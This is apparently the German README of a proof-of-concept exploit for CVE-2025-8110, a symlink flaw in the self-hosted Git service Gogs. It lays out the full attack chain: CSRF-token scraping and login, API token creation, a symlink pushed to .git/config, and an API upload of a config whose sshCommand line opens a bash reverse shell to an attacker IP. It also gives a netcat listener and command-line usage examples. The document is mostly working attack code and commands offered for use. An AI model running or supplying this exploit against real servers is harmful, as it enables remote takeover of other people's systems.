
PoC-Exploit für CVE-2025-8110
CVE-2025-8110 ist eine kritische Schwachstelle in Gogs, die authentifizierten Angreifern die Möglichkeit gibt, durch Manipulation von Repository-Symlinks eine Code-Ausführung aus der Ferne zu erreichen. Dieser Proof-of-Concept zeigt die vollständige Angriffskette, von der Authentifizierung bis zum Erhalt einer Reverse Shell.
Die Schwachstelle besteht, weil Gogs beim Umgang mit Repository-Dateien über seine API Symlinks folgt, sodass ein Angreifer sensible Dateien wie .git/config lesen und ändern kann. Durch das Einfügen einer schädlichen sshCommand-Direktive können beliebige Systembefehle mit den Rechten des Gogs-Dienstkontos ausgeführt werden.
CVSS-Score: 7.2 (Hoch)
Angriffsvektor: Netzwerk
Authentifizierung erforderlich: Ja
Benutzerinteraktion: Keine
Auswirkung: Vollständige Systemkompromittierung
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
└── README.md # Dokumentation
| Option | Beschreibung | Erforderlich |
|---|---|---|
-u, --url | Gogs-Basis-URL (z. B. https://gogs.example.com) | Ja |
-lh, --host | Angreifer-IP-Adresse für Reverse Shell | Ja |
-lp, --port | Angreifer-Port für Reverse Shell | Ja |
-U, --username | Gogs-Benutzername | Ja |
-P, --password | Gogs-Passwort | Ja |
-x, --proxy | Proxy aktivieren (localhost:8080) | Nein |
-v, --verbose | Ausführliche Ausgabe aktivieren | Nein |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session
Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response
Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL
Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload
Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution
Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target
Gogs unterlässt es, den Symlink-Traversal bei der Handhabung von Repository-Dateien über seine API ordnungsgemäß zu bereinigen. Wenn über den API-Endpunkt auf eine Datei zugegriffen wird, folgt Gogs ohne Validierung Symlinks, was den Zugriff auf sensible Dateien außerhalb des Repository-Verzeichnisses ermöglicht.
Symlink-Erstellung
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Bösartige Konfiguration
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API-Ausnutzung
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Angreifer-Maschine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Exploit ausführen
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123